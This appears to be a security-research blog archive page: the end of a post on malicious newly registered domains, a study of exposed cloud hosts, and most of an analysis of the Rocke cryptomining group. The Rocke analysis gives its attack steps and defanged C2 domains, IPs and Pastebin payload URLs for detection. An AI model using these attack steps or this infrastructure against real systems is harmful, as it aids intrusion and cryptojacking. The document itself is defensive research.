PUP stands for “potentially unwanted program,” which is adware in most cases. Adware may not really harm the system at the same level as a malware does. However, it usually performs unwanted changes to the system like changing the browser's default page, hijacking the browser to insert ads, etc. Sometimes a PUP/Adware’s infrastructure can be repurposed for malware in campaigns, affecting those hosts running the PUP.

installsvpn[.]com was created for PUP distribution. First registered on May 10, we started to see this domain serving PUP on May 16. In particular, this is an adware targeted at iPhone users. Figure 9 shows the fake virus pop-up message, which tries to lure the user to download and install the “Secret VPN” tool. To bypass detection, this website retrieves the OS information and display warnings only for iPhones. For other systems, an empty page is returned.

Figure 9. Fake virus warning pop-up

Another example is the domain llzvrjx[.]site, which was registered on June 12 and became active on June 14. It’s an adult website offering a free streaming video app. We analyzed the Android version of this app and found this app comes with unwanted permissions like ACCESS_FINE_LOCATION, SEND_SMS, and READ_CONTACTS. This website also targets at mobile users. It has a cloaking JavaScript to hide itself from desktop users or crawler through checking the browser’s user agent.

Scams

Other than phishing scams which mainly attempt to obtain user credentials like username and password, there are other types of online scams. According to our analysis, these scams also rely on NRDs. Below are a few examples.

Reward scam: The domain mey12d4[.]xyz was registered on May 13, 2019. On the same day, we noticed a campaign where this domain is embedded in an unsolicited text message sent to victims, as shown in Figure 10a. The text message uses $100 reward as an incentive for users to click the link. Once opened in a browser, it will go through a series of redirections and finally land on a fake Amazon survey page, as shown in Figure 10b. We clicked through the survey and got to a page asking for personal information like credit card and home address.

Tech support scam: This type of scam relies on social engineering via phone calls claiming to provide a legitimate technical support service. Victims are often times tricked to install remote desktop access tools and/or pay for the “support” by giving out credit card information. The scams usually begin with a web page suggesting the computer is compromised and instructing the victim to call the support number. Figure 11 shows a running example. This page is hosted on the domain system-alert-m99[.]xyz, which is registered on July 17, 2019. On the same day, it started to serve the tech support scam page.

Figure 11. A typical tech support scam webpage

Re-bill scam: A recent Unit 42 blog talked about the “re-bill” scam. Basically, victims are lured to pay a small amount of money to get a trial of a product like weight loss pills. However, there is a tiny fine print stating that “if you don’t cancel your subscription within X-amount of time then you will be charged a much higher amount of money on a recurring basis”. The amount can be $50-$100 per each surprising credit card bill. Most domains used in such scams are NRDs. For example, ketoweightlosspillsreviews[.]com was recently registered on June 1, 2019. For additional information on this type of scam, please refer to this blog.

Email Spam

Spam emails are unsolicited messages sent to bulk email addresses that are harvested in different ways. The purpose of spam emails varies from advertising to spear phishing. Figure 12 shows a spam email distributing advertisements on retirement savings. It is sent through mercinogenitor[.]com, which was registered on July 4, 2019. The spam email was received on July 15. Unsurprisingly, Gmail detected it as spam at the time of receipt.

Figure 12. A spam email sent from NRD.

Conclusion

In sum, newly registered domains (NRDs) are often times abused by bad actors for nefarious purposes, including but not limited to C2, malware distribution, phishing, typosquatting, PUP/Adware, and spam. At the same time, there are benign uses as well, such as launching a new product, creating a new brand or campaign, hosting a new conference, or building a new personal site.

At Palo Alto Networks, we recommend blocking access to NRDs with URL Filtering. While this may be deemed a bit aggressive by some due to potential false-positives, the risk from threats via NRDs is much greater. At the bare minimum, if access to NRDs are allowed, then alerts should be set up for additional visibility. We define NRDs as any domain that has been registered or had a change in ownership within the last 32 days. Our own analysis has indicated that the first 32 days is the optimal time frame when NRDs are detected as malicious.

As seen in the TLD section of this blog, we would even go as far as to recommend blocking complete TLDs (Figure 4) that are mainly utilized by bad actors. Of course, each organization must understand what their tolerance is for potential false-positives when blocking whole TLDs.

Palo Alto Networks customers are all protected against malicious indicators (domain, IP, URL, SHA256) mentioned in this blog, via URL Filtering, DNS Security, WildFire, and Threat Prevention where applicable. AutoFocus customers with further interests in the malware mentioned in this blog can refer to AutoFocus tags AzoRult, Emotet, Pykspa, and Ramnit.

Hunting the Public Cloud for Exposed Hosts and Misconfigurations

Posted on August 12, 2019June 7, 2024 by Jay Chen

Executive Summary

This research explores the security landscape of the Internet-facing services hosted in Amazon AWS, Microsoft Azure and Google Cloud Platform. Public cloud is becoming increasingly popular and the reported total spending on cloud infrastructure grew 45.6% in 2018. Amazon AWS maintained its lead with a 31.3% share of the Cloud Service Provider (CSP) market, followed by Microsoft Azure with 16.5%, and Google Cloud Platform, with 9.5%. CSPs offer various “as-a-service” models that give businesses agility and flexibility to scale operations without worrying about the IT infrastructure. However, a single insecure configuration can put the entire infrastructure at risk.

We focused on evaluating public cloud from the publicly exposed hosts. We collected information including exposed services, service versions and service vulnerabilities to determine the security posture of each host. We also investigated the correlation between malicious IPs in public cloud and prior known vulnerabilities.Our analysis revealed that:

47% of SSH servers on Azure may be vulnerable to brute-force attacks due to the "use password-login" option.
32% of exposed public cloud hosts have SSH servers open.
24% of exposed public cloud hosts have known vulnerabilities.
50% of exposed public cloud vulnerabilities have been known for at least two years.
61% of exposed public cloud hosts are still on TLSv1.1 or older versions (v1.2 and v1.3 were released in 2008 and 2018, respectively).

We also discovered evidence that attackers are using public cloud as a stepping stone to launch attacks. Cloud infrastructure is still considered more secure than on-premise infrastructure due to the significant resources that CSPs dedicate to maintaining and upgrading their infrastructure. AWS, Azure, and GCP each had less than 20 CVEs identified in 2018 as opposed to thousands of vulnerabilities found in Windows or Linux every year, according to the NIST National Vulnerability Database (NVD). However, there is no shortage of cloud security incidents across all CSPs. Examples include leaked voting machine passwords, the leak of Indian citizen records, and leaked user job profiles). Prior research from RedLock, NetSkope and McAfee showed that most cloud security incidents are attributed to misconfigurations by cloud customers, not the CSPs. While some security responsibilities have been gradually shifted from users to CSPs, users are always responsible for some security design and decisions. Secure cloud infrastructure can only be achieved when both CSPs and users fulfill their responsibilities.

This blog reviews the current state of the public cloud service providers, then provides details on exposed services, exposed vulnerabilities, and malicious IPs. We conclude with a set of open-source tools to help users secure their public cloud infrastructure.

A Glance at Public Cloud

CSPs offer various services that allow users to delegate infrastructure, operating systems, software platforms, and even functions to the cloud. Figure 1 shows the shared responsibility between users and cloud service provider. Delegating infrastructure to the cloud (Infrastructure as a service, or IaaS) gives users the highest control to manage their systems while delegating functions to the cloud (Functions as a Service, or FaaS) gives users the easiest way to run a piece of code without worrying about the platform, resilience, and scalability. This research shows that users make fewer security mistakes when more responsibilities are shifted to the cloud provider.

Figure 1. The “as-a-service” operation models.

As AWS, Azure, and GCP together account for more than 60% of cloud market share, this research focuses only on these three CSPs. AWS, Azure, and GCP currently respectively each owns 41.8 million, 14 million, and 7 million IPv4 addresses, based on a review of the IP range that each CSP publishes . These addresses are spread across multiple cloud services, as shown in Table 1. This table only shows AWS and Azure, since GCP has not published the IP blocks of its individual services. Note that the majority of this research was done by finding the exposed hosts in these IP blocks and analyzing the services running on them.

Table 1. Number of public IPs that AWS and Azure allocate for the cloud services

Exposed Services in Public Cloud

Whenever an application service is exposed to the entire internet, there is always a risk - no matter how secure the service. Some services - such as HTTP, POP3, and VPN - are designed to be open to the internet so that users can access them from anywhere. However, many application services don’t need to be wide open to the internet. For example, a database is typically accessed only by a few application servers from specific networks, and an SMB server is designed for sharing files within the same local area network. Opening these application services to the internet simply creates attack vectors into the system. While CSPs make it easier to deploy services to the internet, they also make it quicker to expose misconfigured or vulnerable services.

To find the hosts and services exposed on the public cloud, we queried Shodan and Censys for the IP blocks owned by AWS, Azure and GCP. We found 9.3 million AWS hosts, 1.5 million Azure hosts, and 2.5 million GCP hosts. Our searches focused on eight services that are generally not secure enough to expose to the entire internet. Table 2 shows the result of these searches. It is shocking to see that 32% of the exposed hosts in public cloud have open SSH services. Although SSH is one of the most secure protocols, it is still too risky to expose this powerful service to the entire internet. Any misconfiguration or weak/leaked credentials can lead to host compromise. CIS benchmarks suggest inbound traffic to SSH services should be restricted to a small set of hosts. Curious to how secure these SSH servers are, we scanned all 2.8 million U.S. based SSH servers hosted in public cloud.

To have strong security, SSH servers should only be authenticated with a public/private key pair, as opposed to password-based authentication, because they are vulnerable to brute-force attacks. Much to our surprise, almost 50% of the SSH servers on Azure have password login enabled while less than 5% had it enabled on AWS and GCP (Table 3). We thought it was more than a coincidence since the difference was so large, so we dug into Azure cloud to investigate how these SSH services are created. We quickly found the explanation: most SSH services on Azure Virtual Machines are configured during the VM creation process. Figure 2 shows a screenshot of the SSH configuration on Azure. Azure gives users two options: password authentication or public key authentication. It is logical to think that half of the users would choose password authentication, likely because they don’t know how the public key authentication works or how to create a key. Nevertheless, it is easy to come up with or reuse a password, but creating a public key requires significant extra steps, as described in this Azure documentation.

This same behavior was not observed in AWS or GCP environments because neither of them offers password login as an option. AWS generates a new key pair and lets the user download the private key before the VM is launched (Figure 3). GCP also creates a key pair automatically upon VM creation and manages the keys inside the Compute Engine (Figure 4). This finding shows how much the UI design can steer user behavior and potentially move the system to a less secure state.

Table 2. Ports and services discovered in public cloud

Table 3. SSH servers exposed in the U.S.

Figure 2. Azure Virtual Machine SSH configuration

Figure 3. AWS EC2 SSH configuration

Figure 4. Google Compute Engine SSH configuration

Vulnerabilities in Public Cloud

Within the exposed application services in public cloud, we identified 29 million vulnerabilities in AWS, 1.7 million vulnerabilities in Azure, and 4 million vulnerabilities in GCP. On average, each vulnerable host has 11 vulnerabilities. Interestingly, the top 10 vulnerabilities across all three CSPs are largely the same and OpenSSH and Http_Server are the only two products seen on the list, as shown in Table 4. This is because web application is the most common service (http/https) exposed to the internet and OpenSSH and Http_Server are the most widely used technologies behind web applications.

Table 4. Top 10 vulnerabilities in public cloud

When dissecting the vulnerabilities across all the cloud services, 99.8% of the vulnerabilities in AWS are from EC2 and 99.8% of the vulnerabilities in Azure are from Azure Virtual Machine. AWS EC2 and Azure Virtual Machines are both IaaS that let users deploy and manage the entire operating systems. The unfortunate consequence is that most users don’t prioritize the security and are unaware of the vulnerabilities in their systems.

Figure 5 shows the number of hosts with different numbers of vulnerabilities in public cloud. The horizontal axis is the number of vulnerabilities and the vertical axis is the number of hosts. 25% of the AWS hosts, 8% of the Azure hosts, and 27% of the GCP hosts are found vulnerable. The majority of the vulnerable hosts have 1-10 vulnerabilities.

Figure 5. The number of hosts with different numbers of vulnerabilities in AWS, Azure, and GCP

Figure 6 shows the number of vulnerabilities within public cloud based on year of CVE release and severity rating. The horizontal axis is the CVE year, the vertical axis is the number of vulnerabilities and the colors represent CVSS v2 severity. As illustrated within the figure, 70% of the vulnerabilities are rated medium severity and 17% are rated high severity. 18% of the vulnerabilities in AWS, 21% in Azure and 12% in GCP are older than five years. These old vulnerabilities imply the number of legacy or end-of-life applications that are still running in public cloud. Because patching these old vulnerabilities may require a revamp of the applications, developers usually avoid opening this can of worms.

Figure 6. Number of vulnerabilities with different CVE year in AWS, Azure, and GCP

Secure Socket Layer (SSL) and Transport Layer Security (TLS) are fundamental to the modern web application security. They provide communication privacy and data integrity to the computer network. Many vulnerabilities were discovered in earlier versions of the protocols and a few of the severe vulnerabilities allow man-in-the-middle attacks. After examining all the exposed hosts with SSL/TLS configured, we found more than 61% were still using protocols older than TLS v1.2, as shown in Figure 7.

This number is worrisome as it’s been almost ten years since TLS v1.2 was released and both TLSv1.0 and TLSv1.1 are scheduled to retire in 2020. It is again not surprising to see that most of these outdated protocols are maintained by IaaS owners who are often behind the patching and update cycle.

Figure 7. Adoption rate of different TLS/SSL versions in public cloud

Threat Actors from Public Cloud

Public cloud not only simplifies developers and IT's work but also provides a platform for malicious actors to launch or pivot attacks. The vulnerable application services in public cloud create attack vectors into the cloud infrastructure. From an attacker's perspective, compromising a public cloud instance is not too different from compromising an on-premise server. However, knowing that an instance is hosted on a specific CSP, an attacker can better weaponize the exploit to evade surveillance. There is also a better chance that a compromised public cloud instance has higher computation power, in case of a crypto-jacking attack. Unit 42 has uncovered evidence that malicious actors are developing malware targeting public cloud infrastructure. To understand the problem, researchers analyzed the malicious IPs in 2018 from Facebook Threat Exchange. Out of the 16,764 malicious IPs, 985 originated from AWS, 109 originated from Azure, and 34 originated from GCP. A total of 7% of the reported IPs were from one of the three CSPs.

It is unclear whether these malicious IPs were hosts compromised or created by attackers. We assume that hosts with more vulnerabilities have a higher chance of being compromised. To validate this assumption, we checked the vulnerabilities of the reported IPs during the time of their malicious activities. Figure 8 shows the vulnerability statistics of the malicious public cloud IPs. The left plot is the percentage of IPs with known vulnerabilities. The right plot is the average number of vulnerabilities found on each IP. Out of the 1,128 malicious public cloud IPs, 60% have known vulnerabilities with an average of 28 vulnerabilities per host. These numbers are statistically significant compared to the fact that only 24% of the exposed public cloud hosts are found with vulnerabilities with an average of11 vulnerabilities per host. Based on these numbers, there is a high chance that these vulnerable hosts were compromised and used for malicious activities. Finally, we looked for the malicious IPs that are associated with a high number of short-lived domain names. Short-lived domain names are a common characteristic of malicious hosts. We found that 20% of the malicious public cloud IPs are associated with more than 55 domain names within 12 months. The implication of these numbers is that public cloud is becoming a stepping stone for launching attacks.

Figure 8. Vulnerabilities in the malicious public cloud hosts

Conclusion - Secure Your Public Cloud

Public cloud adoption continues to accelerate as it plays an increasingly significant part in next-generation IT. Although Amazon launched AWS more than 13 years ago, CSPs started to focus more on security in recent years. About 75% of allAmazon cloud security products were launched within the last three years.

In public cloud, security is a shared responsibility between the CSP and the users. As there are so many cloud services in public cloud, most of the users are probably unaware of their security responsibilities. CSPs not only should secure their cloud services but also set up guardrails to prevent and detect insecure user behavior. The findings in this study reiterate the importance of “security by default.” If there were no insecure options, the users could not have made insecure decisions. If CSPs proactively monitored for insecure user behavior and alerted users with actionable remediation, there would not have been so many exposed services.

There are, however, still designs and decisions for which users should be responsible. Users need to have minimal security awareness to work in the cloud. Although Function-as-a-Service removes a lot of maintenance burden from the users, developers still need to write the code and assign proper permission to each function. If new vulnerabilities are found in the libraries that the functions use, only the developer can patch and update the source code. If CSP alerts an exposed SSH service and recommends a firewall configuration to restrict inbound traffic, only the system admins know what IPs the firewall should allowlist. These trivial tasks are too often neglected, which can lead to catastrophic outcomes. The sheer volume of security incidents caused by weak credentials or exposed databases have numbed the security community. Yet there is no sign that the number of related security incidents is slowing down. Different organizations simply repeat the same mistakes at different CSPs.

Perfect security is almost impossible, but one should always conduct due diligence to minimize the chance of compromise. Thanks to the open-source community, there are plenty of free tools to simplify a complex job. These tools that can help users bridge the security gap in their cloud infrastructure.

Vulnerability scanners: Developers should continuously scan their code for known vulnerabilities. Prisma Scan, Clair, OpenSCAP, and OpenVAS can identify the vulnerable packages in your system.

Cloud infrastructure auditing: System administrators should continuously audit their cloud infrastructure and detect misconfiguration. Prisma IaC Scanner, ScountSuit, and CloudSploit can identify potentially misconfigured components in your cloud infrastructure.

Exposed hosts and services monitoring: System administrators can monitor the IP blocks that they own from the internet. Shodan and Censys are IoT search engines that periodically scan the entire internet.

Rocke'in the NetFlow

Posted on August 1, 2019June 7, 2024 by Nathaniel Quist

Executive Summary

Unit 42 spent six months researching the China-based cybercrime group Rocke, which is the best-known threat actor engaged in cryptomining operations targeting the cloud. We released high-level results from our investigation of Rocke in our recent cloud threat report. This research report provides a deep dive into our investigation of Rocke, which concluded that the group is able to conduct operations with little interference and limited detection risk.

By analyzing NetFlow data from December 2018 to June 16, 2019, we found that 28.1% of the cloud environments we surveyed had at least one fully established network connection with at least one known Rocke command-and-control (C2) domain. Several of those organizations maintained near daily connections. Meanwhile, 20% of the organizations maintained hourly heartbeats consistent with Rocke tactics, techniques, and procedures (TTPs).

The group has also released a new tool called Godlua, which could function as an agent, allowing the group’s actors to perform additional scripted operations, including denial of service (DoS) attacks, network proxying, and two shell capabilities. Unit 42 also discovered network traffic identification patterns within NetFlow traffic that provide unique insight into Rocke TTPs and how defenders can develop detection capabilities.

Intro to Rocke

The activities of Rocke, aka the Iron Group, SystemTen, Kerberods/Khugepageds, and even ex-Rocke, were originally reported in August 2018. Researchers have since blogged on its use of the Golang programming language and the new backdoor, Godlua. There is an operational blog mapping Rocke operations to the MITRE ATT&CK framework. Unit 42 has also published blogs on the group’s Xbash ransomware tool and its cloud security evasion and cryptomining techniques.

Rocke was initially associated with ransomware campaigns through the use of its Linux-focused Xbash tool, a data-destruction malware similar in functionality to NotPetya. NotPetya used the EternalBlue exploit to propagate across a network. Xbash performed lateral movement by leveraging an organization’s unpatched vulnerabilities and use of weak passwords, which potentially limited its overall effectiveness. When Rocke compromised an organization, it demanded that victims pay 0.2, 0.15, or 0.02 bitcoin (BTC) to restore lost data. However, Rocke was unable to restore any data since Xbash deleted database tables prior to demanding the ransom. At the time of Unit 42’s reporting, Rocke’s BTC wallet contained 0.964 BTC (equivalent to US$10,130 today) from just 48 unique transfers.

Rocke’s Cryptomining Operation

Like Rocke’s Xbash malware, the group’s first cryptomining operations were written in Python and used Pastebin or GitHub as the code repository from which the first-stage payload was downloaded. As of March 12, 2019, Rocke actors began to also use Golang. The first-stage payload directed the victim system to connect to a hardcoded Rocke domain or IP address, which would trigger the download of the second-stage payload.

Unit 42 has observed a distinctive 12-step operation style, which appears to have remained consistent since Rocke was first reported:

Actor uploads first payload to a third-party site (e.g., Pastebin, GitHub)
Entices victim to navigate to Pastebin/GitHub (e.g., spear phishing)
Exploits known vulnerability (e.g., Oracle WebLogic, Adobe ColdFusion, Apache Struts)
Victim downloads backdoor (e.g., Shell Scripts, JavaScript Backdoor)
Victim runs the first payload via Python or Golang script and connects to C2 server
Downloads and executes second payload script, gaining administrative access to the system
Establishes persistence via cron job commands
Searchers for and kills previously installed cryptomining processes
Adds “IPtables” rules to block future cryptomining processes
Uninstalls agent-based cloud security tools (e.g., Tencent Cloud, Alibaba Cloud)
Downloads and installs Monero mining software
Rootkits XMRig mining processes from Linux “ps” using “libprocesshider”

Rocke Infrastructure

As of the time of this writing, eight domains have been tied to Rocke C2 operations through hardcoded IP addresses, URL addresses, or domain registration connections (e.g., WHOIS registrant email address). The following chart lays out how the domains fit into the Rocke group infrastructure (see Table 1).

Domain	Rocke Connection	Connection Value	Resolved IP(s)
sowcar[.]com	Hardcode IOC	4592248@gmail[.]com	23.234.4[.]151 23.234.4[.]153 27.221.28[.]231 27.221.54[.]252 36.103.236[.]221 36.103.247[.]121 36.248.26[.]205 42.202.141[.]230 42.236.125[.]84 42.56.76[.]104 43.242.166[.]88 59.83.204[.]14 60.167.222[.]122 61.140.13[.]251 104.31.68[.]79 104.31.69[.]79 113.142.51[.]219 113.200.16[.]234 116.211.184[.]212 118.213.118[.]94 118.25.145[.]24 122.246.6[.]183 125.74.45[.]101 150.138.184[.]119 182.118.11[.]126 182.118.11[.]193 182.247.250[.]251 182.247.254[.]83 183.224.33[.]79 211.91.160[.]159 211.91.160[.]238 218.75.176[.]126 219.147.231[.]79 221.204.60[.]69
thyrsi[.]com	WHOIS Registration	4592248@gmail[.]com	23.234.4[.]151 23.234.4[.]153 103.52.216[.]35 104.27.138[.]223 104.27.139[.]223 205.185.122[.]229 209.141.41[.]204
w2wz[.]cn	WHOIS Registration	4592248@gmail[.]com	36.103.236[.]221 36.103.247[.]121 42.202.141[.]230 58.215.145[.]137 58.216.107[.]77 58.218.208[.]13 60.167.222[.]122 61.140.13[.]251 113.142.51[.]219 113.96.98[.]113 116.211.184[.]212 118.213.118[.]94 118.25.145[.]241 121.207.229[.]203 122.246.20[.]201 125.74.45[.]101 140.249.61[.]134 150.138.184[.]119 182.118.11[.]193 182.247.250[.]251 218.75.176[.]126 219.147.231[.]79 222.186.49[.]224
baocangwh[.]cn	WHOIS Registration	4592248@qq[.]com	103.52.216[.]35 104.18.38[.]253 104.18.39[.]253 104.31.92[.]26 104.31.93[.]26 119.28.48[.]240 205.185.122[.]229
z9ls[.]com	WHOIS Registration	4592248@qq[.]com	103.52.216[.]35 104.27.134[.]168 104.27.135[.]168 104.31.80[.]164 104.31.81[.]164 172.64.104[.]10 172.64.105[.]10 205.185.122[.]229
gwjyhs[.]com	Hardcoded Domain	gwjyhs[.]com	103.52.216[.]35 104.27.138[.]191 104.27.139[.]191 205.185.122[.]229
heheda[.]tk	Hardcode IP or Domain	104.238.151.101 c.heheda[.]tk d.heheda[.]tk dd.heheda[.]tk	104.18.58[.]79 104.18.59[.]79 104.238.151[.]101 195.20.40[.]95 198.204.231[.]250
cloudappconfig[.]com	Hardcode IP or Domain	104.238.151.101 c.cloudappconfig[.]com img0.cloudappconfig[.]com Img1.cloudappconfig[.]com img2.cloudappconfig[.]com	43.224.225[.]220 67.21.64[.]34 104.238.151[.]101 198.204.231[.]250
systemten[.]org	Hardcoded Domain	systemten[.]org	104.248.53[.]213 104.31.92[.]233 104.31.93[.]233 134.209.104[.]20 165.22.156[.]147 185.193.125[.]146

Table 1. Known Rocke domains

Rocke New Attack Vector

The TTPs listed in the previous section do not take into account a potential third stage to Rocke operations. Prior to the report An Analysis of Godlua Backdoor, Rocke malware appeared to perform a single operational function upon compromised cloud systems. The Godlua report cited malware samples that contained similar TTPs to those of Rocke. Upon further research, Unit 42 identified that not only do the TTPs match, but there are hardcoded domains, URLs, and an IP address that overlap with previously reported Rocke malware hardcoded values. This connection was made possible through the findings of an incident investigation posting on the r/LinuxMalware subreddit and the upload of the findings, including malware sample metadata, to GitHub. The author of the Reddit post operates the nonprofit organization MalwareMustDie, a white hat organization devoted to the reduction of internet malware. Unit 42 researchers analyzed four of the binaries listed in the Reddit thread and confirmed the hardcoded Rocke domain systemten[.]org contained within the samples, which was stated in the Reddit thread. The samples also contained hardcoded links to the Pastebin URLs that overlap with known Rocke reporting:

hxxps://pastebin[.]com/raw/HWBVXK6H
hxxps://pastebin[.]com/raw/60T3uCcb
hxxps://pastebin[.]com/raw/rPB8eDpu
hxxps://pastebin[.]com/raw/wR3ETdbi
hxxps://pastebin[.]com/raw/Va86JYqw
hxxps://pastebin[.]com/raw/Va86JYqw

As seen within the Godlua blog, the IP address 104.238.151[.]101 and the URLs d.heheda[.]tk, c.heheda[.]tk, and dd.heheda[.]tk were found to be hardcoded within the report’s findings. The incident response thread posted to Reddit pertaining to the Rocke group also found that C2 connections were being sent to the three heheda[.]tk domains, which resolved to the IP address 104.238.151[.]101, also cited in the Godlua report. Additionally, the samples contained hardcoded values for the known Rocke domains of sowcar[.]com, z9ls[.]com, baocangwh[.]cn, gwjyhs[.]com, and w2wz[.]cn. See Figure 1 for how the identified indicators of compromise (IoCs) connect known Rocke domains with the IoCs pulled from the Godlua and Reddit thread IoC reporting.

Figure 1. Rocke domain connections to Godlua and Reddit thread reporting

What makes the Godlua samples intriguing is the evidence that Rocke has added DoS operations to the group’s toolkit. The report delivers evidence that Rocke has added a third-stage malware component that performs a third C2 request to either c.heheda[.]tk or c.cloudappconfig[.]com and thereby downloads a LUA script called Godlua. The malware appears to provide a modular functionality to Rocke’s operational playbook. In addition to the DoS feature, the malware introduces the following new features:

HANDSHAKE
HEARTBEAT
LUA
SHELL
UPGRADE
QUIT
SHELL2
PROXY

The Godlua report also provided evidence that Rocke has added LUA switch functionality. The report states actors performed a DoS attack against the domain www.liuxiaobei[.]com. At the time of this writing, this domain does not resolve to any known system. It is currently unknown what functionality the other features of the Stage 3 malware accomplish. However, with options like “Shell,” “Shell2,” “Upgrade,” and “Proxy,” it is possible this malware is the beginning of a modular system agent that allows Rocke actors additional flexibility to perform cyber operations outside of cryptomining or data destruction.

Finding Rocke in the NetFlow

As of the time of this writing, Unit 42 researchers found 28.1% of cloud environments surveyed had at least one active communication session with known Rocke C2 domains. These connections occurred almost daily in some organizations from at least December 2018 until the time of this writing. Identification was made possible via the capture of NetFlow communications at the organization/cloud edge.

Unit 42 researchers discovered Rocke communications by analyzing Rocke’s TTP patterns, resolving the known Rocke domains to IP addresses used during the specified timeframe, and querying network traffic against these resolved IP address as well as the hardcoded IP address linked to Rocke, 104.238.151[.]101.

Hardcoded IP addresses provide strong connections to known malicious network traffic originating from an organization’s network. At the time of this writing, 104.238.151[.]101 is known to have resolved to the following URLs since January 1, 2019:

c.cloudappconfig[.]com
d.cloudappconfig[.]com
f.cloudappconfig[.]com
img0.cloudappconfig[.]com
img2.cloudappconfig[.]com
v.cloudappconfig[.]com
c.heheda[.]tk
d.heheda[.]tk
dd.heheda[.]tk

These URLs are consistent with those reported in both the Godlua and Reddit reporting, signifying that any connection to this IP address should be considered malicious. Unit 42 researchers identified 411 unique connections from four monitored organizations that made eight or more fully established network connections to the IP address 104.238.151[.]101. These connections only persisted with each organization for a short period of time. The longest delta between first-seen connection and last-seen connection was five days for Organization 1. The shortest delta resulting in a single connection was one hour for Organization 4 (see Table 2).

Organization	Destination IP	Total Connections	Earliest Time	Latest Time
1	104.238.151[.]101	76	4/12/19 3:00 AM	4/17/19 8:00 AM
2	104.238.151[.]101	160	4/13/19 7:00 AM	4/15/19 3:00 PM
3	104.238.151[.]101	167	4/13/19 7:00 AM	4/16/19 10:00 AM
4	104.238.151[.]101	8	5/10/19 9:00 PM	5/10/19 9:00 PM

Table 2. Organization connections to hardcoded IP 104.238.151[.]101

Extrapolating from 104.238.151[.]101, these four organizations also connected to other known Rocke domains. Organization 1 connected to three Rocke domains between April 12 and May 31, 2019, with 290 unique connections. Organization 4 connected to seven domains between March 20 and May 15, 2019, with 8,231 unique connections. As is evident in Table 3, the four organizations connect to one or more of the seven known Rocke domains during the same timeframe as the organization’s connections to the hardcoded IP address 104.238.151[.]101. This strongly favors the connection between the domains heheda[.]tk and cloudappcloudconfig[.]com as Rocke domains and the usage of Rocke’s third-stage malware being available during this same time period.

Organization	Destination Domain	Destination IP	Total Connections	Earliest Time	Latest Time
1	Heheda[.]tk \| cloudappconfig[.]com	104.238.151[.]101	76	4/12/19 3:00 AM	4/17/19 8:00 AM
	sowcar[.]com	125.74.45[.]101	4	4/12/19 2:00 PM	4/12/19 2:00 PM
		27.221.54[.]252	2	4/13/19 4:00 AM	4/13/19 4:00 AM
	systemten[.]org	104.248.53[.]213	202	4/10/19 12:00 PM	5/31/19 6:00 PM
	w2wz[.]cn	113.96.98[.]113	2	4/12/19 2:00 PM	4/12/19 2:00 PM
		125.74.45[.]101	4	4/12/19 2:00 PM	4/12/19 2:00 PM
*1 Total*			*290*
2	baocanwh[.]cn	104.31.92[.]26	8	4/25/19 3:00 AM	4/25/19 3:00 AM
	heheda[.]tk	104.18.58[.]79	26	4/14/19 6:00 AM	4/15/19 3:00 PM
	heheda[.]tk	104.18.59[.]79	22	4/14/19 6:00 AM	4/15/19 2:00 PM
	Heheda[.]tk \| cloudappconfig[.]com	104.238.151[.]101	160	4/13/19 7:00 AM	4/15/19 2:00 PM
	sowcar[.]com	104.31.68[.]79	77	3/20/19 11:00 PM	4/3/19 4:00 AM
		104.31.69[.]79	70	3/20/19 7:00 AM	4/10/19 9:00 AM
		125.74.45[.]101	6	4/12/19 1:00 PM	4/12/19 2:00 PM
		27.221.54[.]252	6	4/13/19 4:00 AM	4/13/19 4:00 AM
	systemten[.]org	104.248.53[.]213	92	4/11/19 5:00 PM	4/15/19 3:00 PM
	w2wz[.]cn	113.96.98[.]113	9	4/12/19 2:00 PM	4/12/19 6:00 PM
		122.246.20[.]201	8	4/22/19 7:00 AM	4/22/19 8:00 AM
		125.74.45[.]101	6	4/12/19 1:00 PM	4/12/19 2:00 PM
	z9ls[.]com	104.31.80[.]164	2	4/14/19 11:00 AM	4/14/19 11:00 AM
		104.31.81[.]164	4	4/15/19 3:00 AM	4/15/19 1:00 PM
*2 Total*			*496*
3	heheda[.]tk	104.18.58[.]79	14	4/14/19 11:00 AM	4/16/19 10:00 AM
	heheda[.]tk	104.18.59[.]79	14	4/14/19 11:00 AM	4/16/19 10:00 AM
	Heheda[.]tk \| cloudappconfig[.]com	104.238.151[.]101	167	4/13/19 7:00 AM	4/16/19 10:00 AM
	sowcar[.]com	104.31.68[.]79	2	4/10/19 9:00 AM	4/10/19 9:00 AM
	systemten[.]org	104.248.53[.]213	214	4/10/19 9:00 AM	4/19/19 9:00 AM
	z9ls[.]com	104.31.80[.]164	106	4/14/19 9:00 AM	4/18/19 3:00 AM
		104.31.81[.]164	108	4/14/19 9:00 AM	4/18/19 3:00 AM
*3 Total*			*625*
4	baocanwh[.]cn	104.18.38[.]253	136	4/26/19 9:00 PM	4/27/19 3:00 PM
		104.18.39[.]253	152	4/26/19 10:00 PM	4/28/19 3:00 AM
		104.31.92[.]26	184	4/22/19 9:00 AM	4/26/19 6:00 PM
		104.31.93[.]26	170	4/22/19 9:00 AM	4/26/19 6:00 PM
		119.28.48[.]240	176	4/27/19 1:00 PM	4/28/19 10:00 AM
	gwjyhs[.]com	104.27.138[.]191	256	4/28/19 11:00 AM	5/9/19 10:00 AM
		104.27.139[.]191	256	4/28/19 10:00 AM	5/12/19 5:00 PM
	Heheda[.]tk \| cloudappconfig[.]com	104.238.151[.]101	8	5/10/19 9:00 PM	5/10/19 9:00 PM
	sowcar[.]com	104.31.68[.]79	437	3/20/19 7:00 AM	4/10/19 2:00 AM
		104.31.69[.]79	441	3/20/19 2:00 PM	4/10/19 2:00 AM
		27.221.54[.]252	8	4/13/19 4:00 AM	4/13/19 4:00 AM
	systemten[.]org	104.31.93[.]233	4	4/5/19 2:00 AM	4/5/19 3:00 AM
		104.31.92[.]233	4	4/5/19 2:00 AM	4/5/19 3:00 AM
		104.248.53[.]213	4761	4/3/19 4:00 AM	5/15/19 1:00 AM
	thyrsi[.]com	103.52.216[.]35	178	4/27/19 8:00 AM	5/10/19 1:00 PM
	w2wz[.]cn	118.25.145[.]241	12	4/13/19 5:00 AM	4/13/19 9:00 AM
	z9ls[.]com	104.31.80[.]164	522	4/13/19 9:00 AM	4/21/19 2:00 PM
		104.31.81[.]164	526	4/13/19 6:00 AM	4/21/19 2:00 PM
*4 Total*			*8231*
Grand Total			9642

Table 3. Comparison of all Rocke domain connections with IP 104.238.151[.]101

Unit 42 researchers extrapolated the investigation another level and identified all visible connections from all monitored organizations to all known Rocke domains. The researchers found that 28.1% of cloud environments contained at least one fully established network connection with a known Rocke domain. The earliest witnessed connection took place on December 4, 2018, and continued through at least June 10, 2019, with 146 unique connections to the domains sowcar[.]com and w2wz[.]cn during that time frame.

Rocke’s Network Traffic Pattern

